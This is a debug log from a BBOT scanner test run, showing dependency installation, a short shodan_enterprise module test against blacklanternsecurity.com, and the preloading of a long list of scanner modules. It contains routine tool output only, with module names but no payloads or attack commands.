/Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 19:07:16,709 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 19:07:16,710 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 19:07:24,724 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 19:07:24,725 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 19:07:24,725 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 19:07:26,672 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 19:07:26,674 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 19:07:26,679 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:07:26,679 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 19:07:26,679 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:07:26,680 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 19:07:26,680 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:07:26,680 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 19:07:26,681 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:07:26,681 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 19:07:26,682 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 19:07:26,682 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 19:07:26,687 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/3or2b2kbwtdfjxev7ex3 -2026-02-27 19:07:27,478 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 19:07:27,479 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 19:07:27,481 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 19:07:27,600 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 19:07:27,601 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 19:07:27,601 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 19:07:27,602 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 19:07:27,603 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 19:07:27,603 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 19:07:27,603 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 19:07:27,604 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 19:07:27,604 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 19:07:27,605 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 19:07:27,605 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 19:07:27,606 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 19:07:27,606 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 19:07:27,606 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 19:07:27,606 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 19:07:27,606 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 19:07:27,606 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 19:07:27,607 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 19:07:27,607 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 19:07:27,607 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 19:07:27,607 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 19:07:27,608 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 19:07:27,608 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 19:07:27,608 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 19:07:27,608 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 19:07:27,608 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 19:07:27,609 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 19:07:27,609 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 19:07:27,609 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 19:07:27,609 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 19:07:27,609 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 19:07:27,610 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 19:07:27,610 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 19:07:27,610 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 19:07:27,610 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 19:07:27,610 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 19:07:27,611 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 19:07:27,611 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 19:07:27,611 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 19:07:27,611 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 19:07:27,611 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 19:07:27,612 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 19:07:27,612 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 19:07:27,612 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 19:07:27,615 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 19:07:27,756 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_eqkg7zwg0n -2026-02-27 19:07:27,756 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 19:07:27,868 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 19:07:27,868 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 19:07:27,868 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 19:07:27,870 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'target', 'domain'}) -2026-02-27 19:07:27,969 [DEBUG] bbot.modules._scan_ingress base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'target', 'domain'}) passed post-check -2026-02-27 19:07:27,970 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'target', 'domain'}) -2026-02-27 19:07:27,971 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'target', 'domain'}) in-scope because its main host matches the scan target -2026-02-27 19:07:27,972 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'domain'}) -2026-02-27 19:07:27,974 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:07:27,975 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:07:27,975 [DEBUG] bbot.modules.dnsresolve base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'domain'}) passed post-check -2026-02-27 19:07:27,976 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'domain'}) -2026-02-27 19:07:27,977 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:07:27,979 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 19:07:27,979 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:07:27,981 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:07:27,982 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:07:27,983 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:07:27,984 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 19:07:27,989 [DEBUG] bbot.core.helpers.dns dns.py:190 Skipping wildcard detection on blacklanternsecurity.com because blacklanternsecurity.com is excluded in the config -2026-02-27 19:07:27,990 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'in-scope', 'target', 'domain'}) -2026-02-27 19:07:27,991 [DEBUG] bbot.modules._scan_egress base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'in-scope', 'target', 'domain'}) passed post-check -2026-02-27 19:07:27,991 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'in-scope', 'target', 'domain'}) -2026-02-27 19:07:27,992 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'in-scope', 'target', 'domain'}) -2026-02-27 19:07:27,993 [DEBUG] bbot.modules.output.python base.py:1563 Queueing DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'in-scope', 'target', 'domain'}) because precheck succeeded -2026-02-27 19:07:28,069 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 19:07:28,071 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:fa91b14be9f17d0b2fda62cb2877d080f0f390b7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 19:07:28,071 [DEBUG] bbot.modules.output.python base.py:1563 Got DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'in-scope', 'target', 'domain'}) from TARGET -2026-02-27 19:07:28,072 [DEBUG] bbot.modules.output.python base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'unresolved', 'in-scope', 'target', 'domain'}) passed post-check -2026-02-27 19:07:28,073 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 19:07:28,074 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 19:07:28,074 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 19:07:28,075 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 19:07:28,076 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 19:07:28,077 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 19:07:28,077 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 19:07:28,077 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 19:07:28,177 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 19:07:28,179 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 19:07:28,198 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 19:07:28,198 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 19:07:28,199 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 19:07:28,211 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 19:07:28,212 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 19:07:28,212 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 19:07:28,213 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 19:07:28,214 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 19:07:28,215 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 19:07:28,327 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_eqkg7zwg0n completed in 0 seconds with status FINISHED -2026-02-27 19:07:28,327 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 19:07:28,328 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:07:28,329 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 19:07:28,330 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 19:07:56,802 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 19:07:56,812 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 19:07:56,813 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 19:07:56,814 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 19:07:56,815 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 19:07:56,817 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 19:07:56,817 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 19:07:56,818 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 19:07:56,819 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 19:07:56,820 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 19:07:56,821 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 19:07:56,822 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 19:07:56,822 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 19:07:56,823 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 19:07:56,824 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 19:07:56,825 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 19:07:56,825 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 19:07:56,826 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 19:07:56,827 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 19:07:56,828 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 19:07:56,829 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 19:07:56,830 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 19:07:56,830 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 19:07:56,832 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 19:07:56,832 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 19:07:56,833 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 19:07:56,834 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 19:07:56,834 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 19:07:56,835 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 19:07:56,837 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 19:07:56,837 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 19:07:56,840 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 19:07:56,841 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 19:07:56,842 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 19:07:56,843 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 19:07:56,844 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 19:07:56,845 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 19:07:56,846 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 19:07:56,846 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 19:07:56,847 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 19:07:56,847 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 19:07:56,848 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 19:07:56,849 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 19:07:56,850 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 19:07:56,851 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 19:07:56,852 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 19:07:56,852 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 19:07:56,853 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 19:07:56,854 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 19:07:56,854 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 19:07:56,855 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 19:07:56,855 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 19:07:56,856 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 19:07:56,856 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 19:07:56,857 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 19:07:56,858 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 19:07:56,858 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 19:07:56,859 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 19:07:56,859 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 19:07:56,860 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 19:07:56,860 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 19:07:56,861 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 19:07:56,862 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 19:07:56,866 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 19:07:56,867 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 19:07:56,868 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 19:07:56,868 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 19:07:56,869 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 19:07:56,870 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 19:07:56,870 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 19:07:56,871 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 19:07:56,872 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 19:07:56,873 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 19:07:56,873 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 19:07:56,874 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 19:07:56,874 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 19:07:56,875 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 19:07:56,876 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 19:07:56,876 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 19:07:56,877 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 19:07:56,877 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 19:07:56,878 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 19:07:56,878 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 19:07:56,879 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 19:07:56,880 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 19:07:56,881 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 19:07:56,881 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 19:07:56,882 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 19:07:56,882 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 19:07:56,888 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 19:07:56,888 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 19:07:56,889 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 19:07:56,890 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 19:07:56,891 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 19:07:56,892 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 19:07:56,892 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 19:07:56,893 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 19:07:56,894 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 19:07:56,894 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 19:07:56,896 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 19:07:56,896 